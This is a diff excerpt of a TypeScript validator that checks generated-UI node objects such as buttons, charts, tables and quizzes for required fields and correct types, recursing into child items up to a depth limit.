+ function validateNode(value: unknown, depth: number, at: string, errors: string[], walk: Walker): void {
1269
+ if (depth > GENUI_LIMITS.maxDepth) {
1270
+ errors.push(`${at}: exceeds max depth ${GENUI_LIMITS.maxDepth}`)
1271
+ return
1272
+ }
1273
+ const v = obj(value)
1274
+ if (v === undefined) {
1275
+ errors.push(`${at}: must be an object`)
1276
+ return
1277
+ }
1278
+ const type = v.type
1279
+ if (typeof type !== 'string') {
1280
+ errors.push(`${at}: missing string 'type'`)
1281
+ return
1282
+ }
1283
+ const isStr = (name: string): void => { if (v[name] !== undefined && typeof v[name] !== 'string') errors.push(`${at}: '${name}' must be a string`) }
1284
+ const isNum = (name: string): void => { if (v[name] !== undefined && (typeof v[name] !== 'number' || !Number.isFinite(v[name]))) errors.push(`${at}: '${name}' must be a finite number`) }
1285
+ switch (type) {
1286
+ case 'text':
1287
+ if (typeof v.content !== 'string' && typeof v.text !== 'string') {
1288
+ errors.push(`${at}: type 'text' requires content or text (string)`)
1289
+ }
1290
+ isStr('content')
1291
+ isStr('text')
1292
+ break
1293
+ case 'row': case 'col': case 'card': case 'grid':
1294
+ if (!Array.isArray(v.items)) errors.push(`${at}: type '${type}' requires items (array)`)
1295
+ walk(v.items, depth + 1, `${at}.items`)
1296
+ if (type === 'grid') isNum('cols')
1297
+ break
1298
+ case 'button': case 'checkbox': case 'link': case 'switch':
1299
+ if (typeof v.label !== 'string') errors.push(`${at}: type '${type}' requires label (string)`)
1300
+ isStr('label')
1301
+ break
1302
+ case 'audio': case 'video':
1303
+ if (typeof v.src !== 'string') errors.push(`${at}: type '${type}' requires src (string)`)
1304
+ isStr('src')
1305
+ isStr('alt')
1306
+ if (type === 'video') isStr('poster')
1307
+ break
1308
+ case 'slider':
1309
+ isStr('label')
1310
+ isNum('min'); isNum('max'); isNum('step'); isNum('value')
1311
+ break
1312
+ case 'input': case 'textarea':
1313
+ isStr('label'); isStr('placeholder'); isStr('value')
1314
+ break
1315
+ case 'select': case 'radio':
1316
+ if (!Array.isArray(v.options)) errors.push(`${at}: type '${type}' requires options (array)`)
1317
+ break
1318
+ case 'submit':
1319
+ if (typeof v.label !== 'string') errors.push(`${at}: type 'submit' requires label (string)`)
1320
+ // action is optional (local grading needs no round trip); the
1321
+ // renderer disables the button when it is absent AND no question
1322
+ // carries local `answer` data.
1323
+ break
1324
+ case 'badge':
1325
+ if (typeof v.label !== 'string' && typeof v.text !== 'string' && typeof v.value !== 'string') {
1326
+ errors.push(`${at}: type 'badge' requires label, text, or value (string)`)
1327
+ }
1328
+ isStr('label')
1329
+ isStr('text')
1330
+ isStr('value')
1331
+ break
1332
+ case 'stat':
1333
+ if (typeof v.label !== 'string') errors.push(`${at}: type 'stat' requires label (string)`)
1334
+ if (typeof v.value !== 'string') errors.push(`${at}: type 'stat' requires value (string)`)
1335
+ isStr('delta')
1336
+ break
1337
+ case 'progress':
1338
+ if (typeof v.value !== 'number' || !Number.isFinite(v.value) || (v.value as number) < 0 || (v.value as number) > 100) {
1339
+ errors.push(`${at}: type 'progress' requires value (number 0..100)`)
1340
+ }
1341
+ isNum('value')
1342
+ break
1343
+ case 'avatar':
1344
+ if (typeof v.name !== 'string') errors.push(`${at}: type 'avatar' requires name (string)`)
1345
+ break
1346
+ case 'list':
1347
+ if (!Array.isArray(v.items)) errors.push(`${at}: type 'list' requires items (array)`)
1348
+ if (Array.isArray(v.items)) {
1349
+ // Descend into typed children so validation agrees with repair and
1350
+ // rendering (they recurse into list items as GenuiNodes). Strings and
1351
+ // {title,desc} list-item shapes are not nodes and are skipped.
1352
+ for (let i = 0; i < v.items.length; i++) {
1353
+ const item = obj(v.items[i])
1354
+ if (item !== undefined && typeof item.type === 'string') {
1355
+ validateNode(item, depth + 1, `${at}.items[${i}]`, errors, walk)
1356
+ }
1357
+ }
1358
+ }
1359
+ break
1360
+ case 'table':
1361
+ if (!Array.isArray(v.columns)) errors.push(`${at}: type 'table' requires columns (array)`)
1362
+ if (!Array.isArray(v.rows)) errors.push(`${at}: type 'table' requires rows (array)`)
1363
+ break
1364
+ case 'chart':
1365
+ if (!Array.isArray(v.data) && !Array.isArray(v.series)) errors.push(`${at}: type 'chart' requires data or series (array)`)
1366
+ break
1367
+ case 'tabs': {
1368
+ if (!Array.isArray(v.tabs)) errors.push(`${at}: type 'tabs' requires tabs (array)`)
1369
+ if (Array.isArray(v.tabs)) {
1370
+ for (let i = 0; i < v.tabs.length; i++) {
1371
+ const t = obj(v.tabs[i])
1372
+ if (t === undefined) { errors.push(`${at}.tabs[${i}] must be an object`); continue }
1373
+ if (typeof t.label !== 'string') errors.push(`${at}.tabs[${i}].label must be a string`)
1374
+ walk(t.items, depth + 1, `${at}.tabs[${i}].items`)
1375
+ }
1376
+ }
1377
+ break
1378
+ }
1379
+ case 'plot':
1380
+ if (!Array.isArray(v.series)) errors.push(`${at}: type 'plot' requires series (array)`)
1381
+ break
1382
+ case 'callout':
1383
+ if (typeof v.content !== 'string') errors.push(`${at}: type 'callout' requires content (string)`)
1384
+ break
1385
+ case 'steps':
1386
+ if (!Array.isArray(v.steps)) errors.push(`${at}: type 'steps' requires steps (array)`)
1387
+ break
1388
+ case 'keyvalue':
1389
+ if (!Array.isArray(v.pairs)) errors.push(`${at}: type 'keyvalue' requires pairs (array)`)
1390
+ break
1391
+ case 'diff':
1392
+ if (!Array.isArray(v.diffs)) errors.push(`${at}: type 'diff' requires diffs (array)`)
1393
+ break
1394
+ case 'json':
1395
+ if (!('value' in v)) errors.push(`${at}: type 'json' requires value`)
1396
+ break
1397
+ case 'code':
1398
+ if (typeof v.code !== 'string') errors.push(`${at}: type 'code' requires code (string)`)
1399
+ break
1400
+ case 'accordion':
1401
+ if (!Array.isArray(v.items)) errors.push(`${at}: type 'accordion' requires items (array)`)
1402
+ if (Array.isArray(v.items)) {
1403
+ for (let i = 0; i < v.items.length; i++) {
1404
+ const item = obj(v.items[i])
1405
+ if (item === undefined) { errors.push(`${at}.items[${i}] must be an object`); continue }
1406
+ if (typeof item.title !== 'string') errors.push(`${at}.items[${i}].title must be a string`)
1407
+ walk(item.items, depth + 1, `${at}.items[${i}].items`)
1408
+ }
1409
+ }
1410
+ break
1411
+ case 'copy':
1412
+ if (typeof v.text !== 'string') errors.push(`${at}: type 'copy' requires text (string)`)
1413
+ break
1414
+ case 'mermaid':
1415
+ if (typeof v.code !== 'string') errors.push(`${at}: type 'mermaid' requires code (string)`)
1416
+ break
1417
+ case 'scene3d':
1418
+ if (!Array.isArray(v.meshes)) errors.push(`${at}: type 'scene3d' requires meshes (array)`)
1419
+ break
1420
+ case 'timeline':
1421
+ if (!Array.isArray(v.items)) errors.push(`${at}: type 'timeline' requires items (array)`)
1422
+ break
1423
+ case 'file-tree':
1424
+ if (!Array.isArray(v.items)) errors.push(`${at}: type 'file-tree' requires items (array)`)
1425
+ break
1426
+ case 'breadcrumb':
1427
+ if (!Array.isArray(v.items)) errors.push(`${at}: type 'breadcrumb' requires items (array)`)
1428
+ break
1429
+ case 'quiz':
1430
+ if (typeof v.question !== 'string') errors.push(`${at}: type 'quiz' requires question (string)`)
1431
+ if (!Array.isArray(v.options)) errors.push(`${at}: type 'quiz' requires options (array)`)
1432
+ break
1433
+ case 'diagram':
1434
+ if (typeof v.kind !== 'string') errors.push(`${at}: type 'diagram' requires kind (string)`)
1435
+ if (!Array.isArray(v.nodes)) errors.push(`${at}: type 'diagram' requires nodes (array)`)
1436
+ if (v.edges !== undefined && !Array.isArray(v.edges)) errors.push(`${at}: type 'diagram' requires edges (array) when present`)
1437
+ break
1438
+
1439
+ case 'echart':
1440
+ if (v.option === undefined && v.data === undefined && v.series === undefined) {
1441
+ errors.push(`${at}: type 'echart' requires option, data, or series`)
1442
+ }
1443
+ isNum('height')
1444
+ break
1445
+ default:
1446
+ // Unknown type: plugin-registered custom nodes are valid when a
1447
+ // renderer exists; the guard cannot know, so report as a warning.
1448
+ errors.push(`${at}: unknown type '${type}' (custom renderer?)`)
1449
+ }
1450
+ }